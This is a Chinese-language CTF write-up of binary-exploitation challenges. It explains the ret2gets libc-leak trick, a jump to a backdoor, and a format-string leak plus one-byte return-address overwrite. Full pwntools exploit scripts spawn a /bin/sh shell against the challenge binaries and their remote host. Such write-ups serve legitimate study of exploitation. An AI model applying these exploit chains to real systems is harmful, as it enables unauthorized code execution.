0x01 前言 依旧Redbud大佬carry,这次还来了个re大佬。最终排名 6/1325. 倒在了ret2dlsolve这里。 打了两场ctf time,看得出老外不是很喜欢出堆题。
0x02 题解部分 ezwins
How old can it be to win?
虽然这题不是我写的,是wallace哥ai梭出来的,但还是简单记录一下。 程序逻辑如下 同时程序中有后门函数 ,简单分析一下中间那坨 省流,取我们的输入做为地址进行跳转,尝试写下payload
sla('What\'s your name?\n' ,b'aaaa' ) sla('How old are you?\n' ,str (0x0000000004011F6 ))
发现会卡在 call的地址莫名其妙少了1字节,这里懒得深究了,我们在发送地址的时候左移8即可
from pwn import *from ctypes import *import structcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/ezwin' elf=ELF(file) choice = 0x00 if choice: port= 9003 k17 = 'challenge.secso.cc' p = remote(k17,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) debug() sla('What\'s your name?\n' ,b'aaaa' ) sla('How old are you?\n' ,str (0x0000000004011F6 <<8 )) itr()
u get me write
Surely one gets call wont get me fired right?
checksec一下
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) SHSTK: Enabled IBT: Enabled Stripped: No
然后是ida 我草这么简单,正当我以为可以直接ret2libc秒了的时候我发现这个程序没有 pop rdi;ret
这个gadget。非常熟悉的一幕,这不是我们Litctf 2025的master_of_rop吗。gets函数执行之后rdi会指向_IO_stdfile_0_lock
结构体,参考ret2gets _IO_lock_unlock
会使 _IO_stdfile_0_lock
中的cnt减1,所以在覆盖的时候需要注意这个值。
typedef struct { int lock; int cnt; void *owner; } _IO_lock_t;
2.35及之前的版本是将cnt设置为0,然后利用上面说到的 _IO_lock_unlock
会使 _IO_stdfile_0_lock
中的cnt减1,制造一个负数溢出,这样cnt会变成0xffffffff
, 这样再调用一个puts或者其他输出函数的时候就能把结构体中的owner给输出出来。这里就能泄露libc基地址,有了libc基地址就能用libc中自带的gadget来打ret2libc。
简单尝试了一下2.35前的打法,发现打不通,我们继续往下看:_IO_lock_unlock
和 _IO_stdfile_0_lock
更新过了,_IO_stdfile_0_lock
只在 cnt 不为0的时候才会执行cnt–。也就是没法利用负数溢出来覆盖掉b’\x00’, 导致没法泄露libc。但仍然有方法来绕过这个限制,首先来看看原文中给出的payload:
payload = b"A" * 0x20 payload += p64(0 ) payload += p64(e.plt.gets) payload += p64(e.plt.gets) payload += p64(e.plt.puts) p.sendlineafter(b"ROP me if you can!\n" , payload) p.sendline(p32(0 ) + b"A" *4 + b"B" *8 ) p.sendline(b"CCCC" )
这里构造了两次gets读入,看看第一次读入了什么:
p32(0)将lock字段给覆盖成0,为了绕过lll_lock的检测,避免程序发生死锁,能让owner字段被设置为一个与libc基地址偏移固定的地址。4个A和8个B都是垃圾数据,用来填充掉cnt和owner。接着来看第二段payload:
发送了4个C,也是垃圾数据,目的是利用gets函数会在输入结尾加上b’\x00’这一特性。当_IO_lock_unlock 被调用时,它会检查cnt。由于我们第一次 gets 时用 AAAA 填充了 cnt,且现在LSB是\x00,所以cnt现在不为0。 这就绕过了_IO_lock_unlock
清空owner字段的操作。然后就会执行--(_name).cnt
,使得cnt的LSB发生负数溢出,变成b'\xff'
,这意味着变相填满了前面的lock和cnt字段。利用输出函数就能将owner字段上残留的LTS给输出,这个值是一个与libc基地址偏移固定的地址.由于是高版本,最后构造system(‘/bin/sh’)的时候仍需注意栈对齐的问题
ret = 0x000000000040101a payload = b"A" * 0x20 payload += p64(0 ) payload += p64(elf.plt.gets) payload += p64(elf.plt.gets) payload += p64(elf.plt.printf) payload += p64(elf.sym['main' ]) sla(b"Pleasure to meet you! Please enter your name: \n" , payload) sl(p32(0 ) + b"A" *4 + b"B" *8 ) sl(b"CCCC" ) r(8 ) tls = u64(r(6 ).ljust(8 ,b'\x00' )) leak('tls' ) libc_base = tls + 0x28c0 leak('libc_base' ) pop_rdi = 0x000000000010f75b system,binsh = get_sb() ret = 0x000000000040101a payload = b'a' *(0x20 +8 )+flat(ret,libc_os(pop_rdi),binsh,system,elf.sym['main' ]) sla(b"Pleasure to meet you! Please enter your name: \n" , payload) itr()
基本上也是挺模板的,但是这段payload依然打不通,像是根本没有构造到gets一样,没有任何回显。类似这样,无论是远程还是本地,因为比赛结束了靶机已经连不上了所以只能拿LitCTF的同款2.39-0ubuntu8.4
。(哦对了,比赛中并没有给libc文件,所以也只是刚好猜中是2.39) 直到我看到了这篇wp中的同类型题目LACTF 2025 他的payload中的第一段构造两个gets这里插入了两个ret
payload = flat([ b'a' * 72 , ret, elf.plt.gets, elf.plt.gets, elf.plt.puts, ret, elf.symbols['main' ] ])
虽然很奇怪但是我还是模仿了一下,结果居然能正常运行,明明都是2.39,但为什么Lit那题不用这几个ret??? 算了不管了,反正把tls给泄露出来了,接下来就是计算libc的偏移 这样我们就得到了libc_base,最后就是简单的ret2libc
from pwn import *from ctypes import *import structcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/ret2gets/gets' elf=ELF(file) libc = ELF('/mnt/c/Users/Z2023/Desktop/ret2gets/libc.so.6' ) choice = 0x00 if choice: port= 8004 k17 = 'challenge.secso.cc' p = remote(k17,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) ret = 0x000000000040101a payload = b"A" * 0x20 payload += p64(0 ) payload += p64(ret) payload += p64(elf.plt.gets) payload += p64(elf.plt.gets) payload += p64(elf.plt.printf) payload += p64(ret) payload += p64(elf.sym['main' ]) sla(b"Pleasure to meet you! Please enter your name: \n" , payload) sl(p32(0 ) + b"A" *4 + b"B" *8 ) sl(b"CCCC" ) debug() r(8 ) tls = u64(r(6 ).ljust(8 ,b'\x00' )) leak('tls' ) libc_base = tls + 0x28c0 leak('libc_base' ) pop_rdi = 0x000000000010f75b system,binsh = get_sb() ret = 0x000000000040101a payload = b'a' *(0x20 +8 )+flat(ret,libc_os(pop_rdi),binsh,system,elf.sym['main' ]) sla(b"Pleasure to meet you! Please enter your name: \n" , payload) itr()
singular hole
surely one singular hole is easier to handle than many holes
这个easy题比上面那道medium解的人还少,什么情况,checksec一下
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fb000) SHSTK: Enabled IBT: Enabled Stripped: No
ida启动 一个16字符长度的格式化字符串漏洞,然后可以输入 0x60 字节的内容。跟进一下hole();
给了一个任意地址写的功能,但只能写1字节。如果只是这样看的话的确看不出有什么问题,上面0x60字节没办法溢出,这个任意写又只能写一字节,但是在我debug的时候碰巧发现 hole函数的返回地址紧随的内容刚好是刚刚输入的0x60的字节的内容,这样的话我们可以:
利用一开始的格式化字符串漏洞泄露libc和栈地址
利用第二次输入的0x60字节的内容构造system("/bin/sh")
利用得到的栈地址将hole函数的返回地址最后1字节修改成ret,顺势执行我们构造的system("/bin/sh")
效果如下 Exp:
from pwn import *from ctypes import *import structcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/one_hole' elf=ELF(file) libc = ELF('/home/l1nk/glibc-all-in-one/libs/2.39-0ubuntu8.5_amd64/libc.so.6' ) choice = 0x00 if choice: port= 9003 k17 = 'challenge.secso.cc' p = remote(k17,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) debug() payload = b'%26$p%41$p' sla('Please state your name:\n' ,payload) ru('>> Well hello ' ) stack_addr = int (r(14 ),16 ) libc_base = int (rl()[-15 :-1 ],16 )-0x2a28b leak('stack_addr' ) leak('libc_base' ) system,binsh = get_sb() rdi = libc_os(0x000000000010f75b ) payload = flat(rdi,binsh,system,0xdeadbeef ) sla('Please state a fun fact about yourself:' ,payload) sla('Now let\'s get to business. Where would you like to place your hole?' ,str (hex (stack_addr-0x1a0 ))) sla('What would you like to write there?' ,str (0x8a )) itr()
into the void (待复现)
void
ok程序非常简单 觉得非常简单但是会发现根本没有可以用来输出的函数,整个程序中只用了read。并且并且没有pop rdi;ret
这个gadget。经过大致搜索之后大概知道是ret2dlsolve
或者是srop
。前者需要rdi,后者需要syscall,两个都没有,完全无从下手。。。
holes (待复现)
The worms have begun digging again. docker image is ubuntu:24.04 Note: Use the remote! The provided binary is only part of the challenge.
题目的附件是一个没漏洞的二进制程序,并且保护开满,remote之后发现允许我们任意修改程序中的两个字节… 简单尝试一下,将
.text:000000000000121 E 48 8 D 45 B0 lea rax, [rbp+s] .text:0000000000001222 48 89 C6 mov rsi, rax .text:0000000000001225 48 8 D 3 D EB 0 D lea rdi, format ; "Hello %s" .text:0000000000001225 00 00 .text:000000000000122 C B8 00 00 00 00 mov eax, 0 .text:0000000000001231 E8 7 A FE FF FF call _printf
改成了
.text:000000000000121 E 48 8 D 45 B0 lea rax, [rbp+s] .text:0000000000001222 48 89 C7 mov rdi, rax ; format .text:0000000000001225 4 C 8 D 3 D EB 0 D lea r15, aHelloS ; "Hello %s" .text:0000000000001225 00 00 .text:000000000000122 C B8 00 00 00 00 mov eax, 0 .text:0000000000001231 E8 7 A FE FF FF call _printf
漏洞是造出来了,但pie限制的太多,劫持不了程序流能做的事还是太少了。 非常新奇的出题方式,完全手足无措,等复现了